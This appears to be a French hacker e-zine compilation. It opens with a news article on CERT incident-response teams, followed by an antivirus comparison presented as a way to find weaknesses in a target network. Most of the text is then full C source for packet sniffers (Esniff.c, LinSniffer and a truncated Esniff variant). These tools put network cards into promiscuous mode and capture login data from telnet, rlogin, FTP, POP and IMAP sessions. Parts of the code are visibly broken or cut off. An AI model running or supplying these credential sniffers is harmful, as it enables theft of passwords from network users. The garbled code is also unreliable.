   Quand le câble qui achemine les données de l'Internet vers l'Angleterre a viré au rouge sur l'écran de contrôle, il a fallu réagir très vite. «Au début, on ne savait pas ce qui se passait», raconte David Crochemore. Sous ses yeux, il avait la cartographie des tuyaux qui composent Renater, le réseau informatique français de l'enseignement et de la recherche. Quand un des liens passe au orange ou au rouge, c'est l'alerte. Simple souci technique ou attaque de pirate informatique?
Riposte. Ce jour d'octobre, un hacker était passé par là: le câble qui relie Renater à l'Angleterre était presque saturé, «très encombré» par des données envoyées en masse par le pirate malveillant. Coups de téléphone aux techniciens présents aux endroits stratégiques, interventions sur les ordinateurs. «En quelques heures, on a réglé le problème.»
David Crochemore, avec sa moustache en guidon de vélo, est un pompier. Un soldat du feu high-tech, responsable pour Renater du Cert (Computer Emergency Response Team), le nom générique donné aux «équipes de riposte en cas d'urgence informatique». Partout dans le monde, des structures de ce type ont pour mission de réagir aux attaques de pirates, aux virus et à tous les hoquets de sécurité de l'Internet.
«Notre rôle n'est pas de déposer plainte ou de donner la chasse aux pirates, explique David Crochemore, mais d'assister les utilisateurs victimes d'une attaque.» Le Cert, qu'il dirige coordonne les efforts des spécialistes de la sécurité présents notamment au CEA (Commissariat à l'énergie atomique), au Cnes (Centre national d'études spatiales) et dans les universités. Il diffuse des alertes, avertit de l'existence de nouveaux virus, fournit des documents sur les failles de sécurité des logiciels. Et, dans l'autre sens, centralise les informations envoyées par ses correspondants. Un bon moyen pour repérer les attaques à la mode. «Quand un nouvel outil de piratage apparaît, tous les hackers de bas étage se ruent dessus», sourit Crochemore.
Le boulot ne manque pas. Par jeu ou par malveillance, les pirates ne cessent de prendre d'assaut les machines. Du côté de Renater, David Crochemore avoue cinq ou six problèmes graves (prise de contrôle d'un ordinateur) et cinquante à soixante-dix incidents plus bénins par mois. «C'est près de cinq fois plus qu'il y a deux ans, dit-il. Mais on ne nous signale pas tout.» A Bordeaux, le responsable de la sécurité des universités concède qu'il est victime de «deux à trois tentatives de piratage quotidiennes». Et précise que «ceux qui disent qu'ils ne sont pas attaqués sont des menteurs».
Urgence. La création du premier Samu de la sécurité informatique remonte à décembre 1988, à l'université de Carnegie Mellon (Pittsburgh), à la demande de la Darpa, l'agence de recherche et développement du département de la Défense américain. Il y avait urgence: un virus lâché par l'étudiant Robert Morris le mois précédent venait de paralyser plus de 10 % des ordinateurs connectés à l'Internet. Depuis, c'est l'explosion. En France, une équipe de technopompiers destinée à secourir les administrations et les ministères devrait voir le jour avant la fin de l'année. L'organisme sera piloté par le Service central de la sécurité des systèmes d'information (SCSSI), aux ordres de Matignon.
Coopération. Au total, la planète compte près de 80 équipes, fédérées au sein du First (Forum of Incident Response and Security Teams), basé aux Etats-Unis. Cet organisme est chargé d'assurer la coopération des différents Cert en cas de pépin d'ampleur. Ainsi, en mars, quand le virus Melissa a déferlé sur l'Internet, «une conférence téléphonique avec plusieurs dizaines de personnes de toute la planète a eu lieu», raconte David Crochemore. Des Asiatiques, victimes du décalage horaire, ont dû se relever en pleine nuit pour le briefing. Une procédure d'urgence, mais encore un peu poussive: lorsque les Cert ont enfin délivré le moyen de lutter contre Melissa, le virus avait déjà fait le tour de la planète.
Pompier du Net, un métier d'avenir? Selon le général Jean-Louis Desvignes, le patron du SCSSI, c'est certain. Pressés par une concurrence très forte, les éditeurs de logiciels ne cessent de sortir de nouvelles versions de leurs produits, souvent sans prendre le temps de vérifier si des failles de sécurité subsistent. «On vous annonce une nouvelle version alors que la précédente est encore pleine de bugs, s'agace-t-il. Et l'Internet augmente la vulnérabilité des ordinateurs.» Un bonheur pour les pirates, toujours prêts à se faufiler dans le moindre interstice. Et de nouveaux incendies en prévision.

Antivirus:

   Posséder un anti-virus c'est bien, savoir lequel choisir c'est mieux. Les antivirus détectent évidemment foule de virus, avec une base de données remises à jour chaque semaine. Des gens sont payés pour trouver des virus. Le plus connu des Anti-Virus est Norton Anti-Virus, mais est-il réellement efficace?
Oui il l'est mais dans des proportions non effarantes. Sur 700 fichiers de scannés Norton n'a trouvé que 200 virus sur les 400 mis à disposition. De plus Norton scann tout ce qui est cracker (multiicq par exemple), ou bien des programmes comme la partie client de BO2K qui, jusqu'à nouvel ordre, n'est pas infecté par un trojan. De plus Norton peut vous donner la description de certains virus/troyans: bien vague... Alors que Norton fait une description de Netbus 1.7 (serveur) il n'en fait pas pour la 2.0: quand on sait que la deuxième est la plus dangereuse...

Si je devais vous conseiller un Anti-Virus je devrais vous conseiller AVP (Anti Viral Toolkit pro), il détecte 20% de plus de virus (sans rajouter n'importe quoi) que NAV.

Sinon voici un comparatif d'antivirus:

SYMANTEC NORTON ANTIVIRUS FOR FIREWALLS
Recherche les virus sur le: HTTP, SMTP, FTP.
Ne recherche pas de magouilles sur les Applets
Ne fait recherche les certificats (intéressant)
Ne recherche pas de signatures (intéressant)
Ne recherche pas les sources (intéressant)
Ne filtre pas les E-mails (intéressant)
Ne fait pas de gestionnaire de délivrance de courrier
Pas d'OPSEC Compliant (NT)
Pas d'OPSEC Compliant (UNIX)
Ne fait pas de filtrage d'adresses url (intéressant)
Ne fait pas de filtrage de spamming (haha!)
Il ne bloque pas les cookies (intéressant)
Les algorithmes de compression supportés: ARJ, ZIP
Ne détecte pas l'e-mail spoofing (intéressant)
TREND INTERSCAN VIRUS WALL
Recherche les virus sur le: HTTP, SMTP, FTP.
Recherche les magouilles sur les Applets
Recherche les certificats
Recherche de signatures
Recherche pas les sources
Filtre les E-mails
Fait un gestionnaire de délivrance de courrier
OPSEC Compliant (NT)
OPSEC Compliant (UNIX)
Ne fait pas de filtrage d'adresses url
Fait du filtrage de spamming
Il ne bloque pas les cookies
Les algorithmes de compression supportés: 19 types
Ne détecte pas l'e-mail spoofing

Ainsi on peut voir que TREND INTERSCAN VIRUS WALL est très fiable (plus que NORTON). Mais si cette liste est là c'est pour une raison: les réseaux utilisent toujours ces deux là (en général, attention!), pour se sécuriser. Donc il est possible d'étudier ce que fait et ne fait pas chacun de ces utilitaires, pour mieux se renseigner sur la cible! Un réseau n'utilisant que NORTON, ne sera pas assez sécurisé et présentera donc des failles (pas de filtrages mails par exemple).

Conclusion: on devrait s'en arrêter là pour les virus et le domaine qui tourne autour. Prochainement un "Culture" sur les Virus et Anti-virus, d'ici là potassez bien votre programmation.
 
 

Chapitre 2: Hunt

/* Esniff.c */

#include <stdio.h>
#include <ctype.h>
#include <string.h>

#include <sys/time.h>
#include <sys/file.h>
#include <sys/stropts.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>

#include <net/if.h>
#include <net/nit_if.h>
#include <net/nit_buf.h>
#include <net/if_arp.h>

#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>
#include <netinet/udp_var.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>

#include <netdb.h>
#include <arpa/inet.h>

#define ERR stderr

char    *malloc();
char    *device,
        *ProgName,
        *LogName;
FILE    *LOG;
int     debug=0;

#define NIT_DEV     "/dev/nit"
#define CHUNKSIZE   4096        /* device buffer size */
int     if_fd = -1;
int     Packet[CHUNKSIZE+32];

void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
  exit(err); }

void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
  exit(err); }

#define IP          ((struct ip *)Packet)
#define IP_OFFSET   (0x1FFF)
#define SZETH       (sizeof(struct ether_header))
#define IPLEN       (ntohs(ip->ip_len))
#define IPHLEN      (ip->ip_hl)
#define TCPOFF      (tcph->th_off)
#define IPS         (ip->ip_src)
#define IPD         (ip->ip_dst)
#define TCPS        (tcph->th_sport)
#define TCPD        (tcph->th_dport)
#define IPeq(s,t)   ((s).s_addr == (t).s_addr)

#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))

#define MAXBUFLEN  (128)
time_t  LastTIME = 0;

struct CREC {
     struct CREC *Next,
                 *Last;
     time_t  Time;              /* start time */
     struct in_addr SRCip,
                    DSTip;
     u_int   SRCport,           /* src/dst ports */
             DSTport;
     u_char  Data[MAXBUFLEN+2]; /* important stuff :-) */
     u_int   Length;            /* current data length */
     u_int   PKcnt;             /* # pkts */
     u_long  LASTseq;
};

struct CREC *CLroot = NULL;

char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
      gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);

  return( (he)?(he->h_name):(inet_ntoa(ip)) );
}

char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')

  SFL(0,TH_FIN, 'F');
  SFL(1,TH_SYN, 'S');
  SFL(2,TH_RST, 'R');
  SFL(3,TH_PUSH,'P');
  SFL(4,TH_ACK, 'A');
  SFL(5,TH_URG, 'U');
  iobuf[6]=0;
  return(iobuf);
}

char *SERVp(port)
register u_int port;
{ static char buf[10];
  register char *p;

   switch(port) {
     case IPPORT_LOGINSERVER: p="rlogin"; break;
     case IPPORT_TELNET:      p="telnet"; break;
     case IPPORT_SMTP:        p="smtp"; break;
     default: sprintf(buf,"%u",port); p=buf; break;
   }
   return(p);
}

char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
  p[strlen(p)-6]=0; /* strip " YYYY\n" */
  return(p);
}

char *NOWtm()
{ time_t tm;
  time(&tm);
  return( Ptm(&tm) );
}

#define MAX(a,b) (((a)>(b))?(a):(b))
#define MIN(a,b) (((a)<(b))?(a):(b))

/* add an item */
#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
  register struct CREC *CLtmp = \
        (struct CREC *)malloc(sizeof(struct CREC)); \
  time( &(CLtmp->Time) ); \
  CLtmp->SRCip.s_addr = SIP.s_addr; \
  CLtmp->DSTip.s_addr = DIP.s_addr; \
  CLtmp->SRCport = SPORT; \
  CLtmp->DSTport = DPORT; \
  CLtmp->Length = MIN(LEN,MAXBUFLEN); \
  bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
  CLtmp->PKcnt = 1; \
  CLtmp->Next = CLroot; \
  CLtmp->Last = NULL; \
  CLroot = CLtmp; \
}

register struct CREC *GET_NODE(Sip,SP,Dip,DP)
register struct in_addr Sip,Dip;
register u_int SP,DP;
{ register struct CREC *CLr = CLroot;

  while(CLr != NULL) {
    if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
        IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
            break;
    CLr = CLr->Next;
  }
  return(CLr);
}

#define ADDDATA_NODE(CL,DATA,LEN) { \
 bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
 CL->Length += LEN; \
}

#define PR_DATA(dp,ln) {    \
  register u_char lastc=0; \
  while(ln-- >0) { \
     if(*dp < 32) {  \
        switch(*dp) { \
            case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
                        break; \
            case '\r': \
            case '\n': fprintf(LOG,"\n     : "); \
                        break; \
            default  : fprintf(LOG,"^%c", (*dp + 64)); \
                        break; \
        } \
     } else { \
        if(isprint(*dp)) fputc(*dp,LOG); \
        else fprintf(LOG,"(%d)",*dp); \
     } \
     lastc = *dp++; \
  } \
  fflush(LOG); \
}

void END_NODE(CLe,d,dl,msg)
register struct CREC *CLe;
register u_char *d;
register int dl;
register char *msg;
{
   fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
   fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
   fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
   fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
                        NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
   fprintf(LOG," DATA: ");
    { register u_int i = CLe->Length;
      register u_char *p = CLe->Data;
      PR_DATA(p,i);
      PR_DATA(d,dl);
    }

   fprintf(LOG,"\n-- \n");
   fflush(LOG);

   if(CLe->Next != NULL)
    CLe->Next->Last = CLe->Last;
   if(CLe->Last != NULL)
    CLe->Last->Next = CLe->Next;
   else
    CLroot = CLe->Next;
   free(CLe);
}

/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
  time_t tm; \
  time(&tm); \
  if(LastTIME<tm) { \
     register struct CREC *CLe,*CLt = CLroot; \
     LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
     while(CLe=CLt) { \
       CLt=CLe->Next; \
       if(CLe->Time <tm) \
           END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
     } \
  } \
}

void filter(cp, pktlen)
register char *cp;
register u_int pktlen;
{
 register struct ip     *ip;
 register struct tcphdr *tcph;

 { register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);

   if(EtherType < 0x600) {
     EtherType = *(u_short *)(cp + SZETH + 6);
     cp+=8; pktlen-=8;
   }

   if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
      return;
 }

    /* ugh, gotta do an alignment :-( */
 bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));

 ip = (struct ip *)Packet;
 if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
    return;
 tcph = (struct tcphdr *)(Packet + IPHLEN);

 if(!( (TCPD == IPPORT_TELNET) ||
       (TCPD == IPPORT_LOGINSERVER) ||
   )) return;

 { register struct CREC *CLm;
   register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
   register u_char *p = (u_char *)Packet;

   p += ((IPHLEN * 4) + (TCPOFF * 4));

 if(debug) {
  fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
  fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
  fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
 }

   if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {

      CLm->PKcnt++;

      if(length>0)
        if( (CLm->Length + length) < MAXBUFLEN ) {
          ADDDATA_NODE( CLm, p,length);
        } else {
          END_NODE( CLm, p,length, "DATA LIMIT");
        }

      if(TCPFL(TH_FIN|TH_RST)) {
          END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
      }

   } else {

      if(TCPFL(TH_SYN)) {
         ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
      }

   }

   IDLE_NODE();

 }

}

/* signal handler
 */
void death()
{ register struct CREC *CLe;

    while(CLe=CLroot)
        END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");

    fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
    fflush(LOG);
    if(LOG != stdout)
        fclose(LOG);
    exit(1);
}

/* opens network interface, performs ioctls and reads from it,
 * passing data to filter function
 */
void do_it()
{
    int cc;
    char *buf;
    u_short sp_ts_len;

    if(!(buf=malloc(CHUNKSIZE)))
        Pexit(1,"Eth: malloc");

/* this /dev/nit initialization code pinched from etherfind */
  {
    struct strioctl si;
    struct ifreq    ifr;
    struct timeval  timeout;
    u_int  chunksize = CHUNKSIZE;
    u_long if_flags  = NI_PROMISC;

    if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
        Pexit(1,"Eth: nit open");

    if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
        Pexit(1,"Eth: ioctl (I_SRDOPT)");

    si.ic_timout = INFTIM;

    if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
        Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");

    timeout.tv_sec = 1;
    timeout.tv_usec = 0;
    si.ic_cmd = NIOCSTIME;
    si.ic_len = sizeof(timeout);
    si.ic_dp  = (char *)&timeout;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");

    si.ic_cmd = NIOCSCHUNK;
    si.ic_len = sizeof(chunksize);
    si.ic_dp  = (char *)&chunksize;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");

    strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
    ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
    si.ic_cmd = NIOCBIND;
    si.ic_len = sizeof(ifr);
    si.ic_dp  = (char *)&ifr;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");

    si.ic_cmd = NIOCSFLAGS;
    si.ic_len = sizeof(if_flags);
    si.ic_dp  = (char *)&if_flags;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");

    if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)
        Pexit(1,"Eth: ioctl (I_FLUSH)");
  }

    while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
        register char *bp = buf,
                      *bufstop = (buf + cc);

        while (bp < bufstop) {
            register char *cp = bp;
            register struct nit_bufhdr *hdrp;

            hdrp = (struct nit_bufhdr *)cp;
            cp += sizeof(struct nit_bufhdr);
            bp += hdrp->nhb_totlen;
            filter(cp, (u_long)hdrp->nhb_msglen);
        }
    }
    Pexit((-1),"Eth: read");
}
 /* Authorize your proogie,generate your own password and uncomment here */
/* #define AUTHPASSWD "EloiZgZejWyms" */

void getauth()
{ char *buf,*getpass(),*crypt();
  char pwd[21],prmpt[81];

    strcpy(pwd,AUTHPASSWD);
    sprintf(prmpt,"(%s)UP? ",ProgName);
    buf=getpass(prmpt);
    if(strcmp(pwd,crypt(buf,pwd)))
        exit(1);
}
    */
void main(argc, argv)
int argc;
char **argv;
{
    char   cbuf[BUFSIZ];
    struct ifconf ifc;
    int    s,
           ac=1,
           backg=0;

    ProgName=argv[0];

 /*     getauth(); */

    LOG=NULL;
    device=NULL;
    while((ac<argc) && (argv[ac][0] == '-')) {
       register char ch = argv[ac++][1];
       switch(toupper(ch)) {
            case 'I': device=argv[ac++];
                      break;
            case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
                         Zexit(1,"Output file cant be opened\n");
                      break;
            case 'B': backg=1;
                      break;
            case 'D': debug=1;
                      break;
            default : fprintf(ERR,
                        "Usage: %s [-b] [-d] [-i interface] [-f file]\n",
                            ProgName);
                      exit(1);
       }
    }

    if(!device) {
        if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
            Pexit(1,"Eth: socket");

        ifc.ifc_len = sizeof(cbuf);
        ifc.ifc_buf = cbuf;
        if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
            Pexit(1,"Eth: ioctl");

        close(s);
        device = ifc.ifc_req->ifr_name;
    }

    fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
    fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
            (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");

    if(!LOG)
        LOG=stdout;

    signal(SIGINT, death);
    signal(SIGTERM,death);
    signal(SIGKILL,death);
    signal(SIGQUIT,death);

    if(backg && debug) {
         fprintf(ERR,"[Cannot bg with debug on]\n");
         backg=0;
    }

    if(backg) {
        register int s;

        if((s=fork())>0) {
           fprintf(ERR,"[pid %d]\n",s);
           exit(0);
        } else if(s<0)
           Pexit(1,"fork");

        if( (s=open("/dev/tty",O_RDWR))>0 ) {
                ioctl(s,TIOCNOTTY,(char *)NULL);
                close(s);
        }
    }
    fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
    fflush(LOG);

    do_it();
}
 

/*
LinSniffer 0.02 [BETA]
Mike Edulla
medulla@infosoc.com
DO NOT REDISTRIBUTE
*/
 

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <linux/if.h>
#include <signal.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <linux/socket.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/if_ether.h>
 

int openintf(char *);
int read_tcp(int);
int filter(void);
int print_header(void);
int print_data(int, char *);
char *hostlookup(unsigned long int);
void clear_victim(void);
 

struct etherpacket
{
   struct ethhdr eth;
   struct iphdr  ip;
   struct tcphdr tcp;
   char buff[8192];
}ep;

struct
{
   unsigned long      saddr;
   unsigned long      daddr;
   unsigned short     sport;
   unsigned short     dport;
   int                bytes_read;
   char               active;
   time_t             start_time;
} victim;

struct iphdr  *ip;
struct tcphdr *tcp;

#define CAPTLEN 512
#define TIMEOUT 30
 

int openintf(char *d)
{
   int fd;
   struct ifreq ifr;
   int s;
   fd=socket(AF_INET, SOCK_PACKET, htons(0x800));
   if(fd < 0)
   {
      perror("cant get SOCK_PACKET socket");
      exit(0);
   }
   strcpy(ifr.ifr_name, d);
   s=ioctl(fd, SIOCGIFFLAGS, &ifr);
   if(s < 0)
   {
      close(fd);
      perror("cant get flags");
      exit(0);
   }
   ifr.ifr_flags |= IFF_PROMISC;
   s=ioctl(fd, SIOCSIFFLAGS, &ifr);
   if(s < 0) perror("cant set promiscuous mode");
   return fd;
}

int read_tcp(int s)
{
   int x;
   while(1)
   {
      x=read(s, (struct etherpacket *)&ep, sizeof(ep));
      if(x > 1)
      {
         if(filter()==0) continue;
         x=x-54;
         if(x < 1) continue;
         return x;
      }
   }
}

int filter(void)
{
   int p;
   p=0;
   if(ip->protocol != 6) return 0;
   if(victim.active != 0)
      if(victim.bytes_read > CAPTLEN)
      {
         printf("\n----- [CAPLEN Exceeded]\n");
         clear_victim();
         return 0;
      }
   if(victim.active != 0)
      if(time(NULL) > (victim.start_time + TIMEOUT))
      {
         printf("\n----- [Timed Out]\n");
         clear_victim();
         return 0;
      }
   if(ntohs(tcp->dest)==21)  p=1; /* ftp */
   if(ntohs(tcp->dest)==23)  p=1; /* telnet */
   if(ntohs(tcp->dest)==110) p=1; /* pop3 */
   if(ntohs(tcp->dest)==109) p=1; /* pop2 */
   if(ntohs(tcp->dest)==143) p=1; /* imap2 */
   if(ntohs(tcp->dest)==513) p=1; /* rlogin */
   if(ntohs(tcp->dest)==106) p=1; /* poppasswd */
   if(victim.active == 0)
      if(p == 1)
         if(tcp->syn == 1)
         {
            victim.saddr=ip->saddr;
            victim.daddr=ip->daddr;
            victim.active=1;
            victim.sport=tcp->source;
            victim.dport=tcp->dest;
            victim.bytes_read=0;
            victim.start_time=time(NULL);
            print_header();
         }
   if(tcp->dest != victim.dport) return 0;
   if(tcp->source != victim.sport) return 0;
   if(ip->saddr != victim.saddr) return 0;
   if(ip->daddr != victim.daddr) return 0;
   if(tcp->rst == 1)
   {
      victim.active=0;
      alarm(0);
      printf("\n----- [RST]\n");
      clear_victim();
      return 0;
   }
   if(tcp->fin == 1)
   {
      victim.active=0;
      alarm(0);
      printf("\n----- [FIN]\n");
      clear_victim();
      return 0;
   }
   return 1;
}
 

int print_header(void)
{
   puts(" ");
   printf("%s => ", hostlookup(ip->saddr));
   printf("%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest));
}

int print_data(int datalen, char *data)
{
   int i=0;
   int t=0;

   victim.bytes_read=victim.bytes_read+datalen;
   for(i=0;i != datalen;i++)
   {
      if(data[i] == 13) {puts(" ");t=0;}
      if(isprint(data[i])) {printf("%c", data[i]);t++;}
      if(t > 75) {t=0;puts(" ");}
   }
}
 

main()
{
   int s;
   s=openintf("eth0");
   ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
   tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);
   signal(SIGHUP, SIG_IGN);
   clear_victim();
   for(;;)
   {
      read_tcp(s);
      if(victim.active != 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);
   }
}

char *hostlookup(unsigned long int in)
{
   static char blah[1024];
   struct in_addr i;
   struct hostent *he;

   i.s_addr=in;
   he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);
   if(he == NULL) strcpy(blah, inet_ntoa(i));
   else strcpy(blah, he->h_name);
   return blah;
}

void clear_victim(void)
{
   victim.saddr=0;
   victim.daddr=0;
   victim.sport=0;
   victim.dport=0;
   victim.active=0;
   victim.bytes_read=0;
   victim.start_time=0;
}
 

#include <stdio.h>
#include <ctype.h>
#include <string.h>

#include <sys/time.h>
#include <sys/file.h>
#include <sys/stropts.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>

#include <net/if.h>
#include <net/nit_if.h>
#include <net/nit_buf.h>
#include <net/if_arp.h>

#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>
#include <netinet/udp_var.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>

#include <netdb.h>
#include <arpa/inet.h>

#define ERR stderr

char    *malloc();
char    *device,
        *ProgName,
        *LogName;
FILE    *LOG;
int     debug=0;

#define NIT_DEV     "/dev/le0"
#define CHUNKSIZE   4096        /* device buffer size */
int     if_fd = -1;
int     Packet[CHUNKSIZE+32];

void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
  exit(err); }

void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
  exit(err); }

#define IP          ((struct ip *)Packet)
#define IP_OFFSET   (0x1FFF)
#define SZETH       (sizeof(struct ether_header))
#define IPLEN       (ntohs(ip->ip_len))
#define IPHLEN      (ip->ip_hl)
#define TCPOFF      (tcph->th_off)
#define IPS         (ip->ip_src)
#define IPD         (ip->ip_dst)
#define TCPS        (tcph->th_sport)
#define TCPD        (tcph->th_dport)
#define IPeq(s,t)   ((s).s_addr == (t).s_addr)

#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))

#define MAXBUFLEN  (128)
time_t  LastTIME = 0;

struct CREC {
     struct CREC *Next,
                 *Last;
     time_t  Time;              /* start time */
     struct in_addr SRCip,
                    DSTip;
     u_int   SRCport,           /* src/dst ports */
             DSTport;
     u_char  Data[MAXBUFLEN+2]; /* important stuff :-) */
     u_int   Length;            /* current data length */
     u_int   PKcnt;             /* # pkts */
     u_long  LASTseq;
};

struct CREC *CLroot = NULL;

char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
      gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);

  return( (he)?(he->h_name):(inet_ntoa(ip)) );
}

char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')

  SFL(0,TH_FIN, 'F');
  SFL(1,TH_SYN, 'S');
  SFL(2,TH_RST, 'R');
  SFL(3,TH_PUSH,'P');
  SFL(4,TH_ACK, 'A');
  SFL(5,TH_URG, 'U');
  iobuf[6]=0;
  return(iobuf);
}

char *SERVp(port)
register u_int port;
{ static char buf[10];
  register char *p;

   switch(port) {
     case IPPORT_LOGINSERVER: p="rlogin"; break;
     case IPPORT_TELNET:      p="telnet"; break;
     case IPPORT_SMTP:        p="smtp"; break;
     case IPPORT_FTP:         p="ftp"; break;
     default: sprintf(buf,"%u",port); p=buf; break;
   }
   return(p);
}

char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
  p[strlen(p)-6]=0; /* strip " YYYY\n" */
  return(p);
}

char *NOWtm()
{ time_t tm;
  time(&tm);
  return( Ptm(&tm) );
}

#define MAX(a,b) (((a)>(b))?(a):(b))
#define MIN(a,b) (((a)<(b))?(a):(b))

/* add an item */
#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
  register struct CREC *CLtmp = \
        (struct CREC *)malloc(sizeof(struct CREC)); \
  time( &(CLtmp->Time) ); \
  CLtmp->SRCip.s_addr = SIP.s_addr; \
  CLtmp->DSTip.s_addr = DIP.s_addr; \
  CLtmp->SRCport = SPORT; \
  CLtmp->DSTport = DPORT; \
  CLtmp->Length = MIN(LEN,MAXBUFLEN); \
  bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
  CLtmp->PKcnt = 1; \
  CLtmp->Next = CLroot; \
  CLtmp->Last = NULL; \
  CLroot = CLtmp; \
}

register struct CREC *GET_NODE(Sip,SP,Dip,DP)
register struct in_addr Sip,Dip;
register u_int SP,DP;
{ register struct CREC *CLr = CLroot;

  while(CLr != NULL) {
    if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
        IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
            break;
    CLr = CLr->Next;
  }
  return(CLr);
}

#define ADDDATA_NODE(CL,DATA,LEN) { \
 bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
 CL->Length += LEN; \
}

#define PR_DATA(dp,ln) {    \
  register u_char lastc=0; \
  while(ln-- >0) { \
     if(*dp < 32) {  \
        switch(*dp) { \
            case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
                        break; \
            case '\r': \
            case '\n': fprintf(LOG,"\n     : "); \
                        break; \
            default  : fprintf(LOG,"^%c", (*dp + 64)); \
                        break; \
        } \
     } else { \
        if(isprint(*dp)) fputc(*dp,LOG); \
        else fprintf(LOG,"(%d)",*dp); \
     } \
     lastc = *dp++; \
  } \
  fflush(LOG); \
}

void END_NODE(CLe,d,dl,msg)
register struct CREC *CLe;
register u_char *d;
register int dl;
register char *msg;
{
   fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
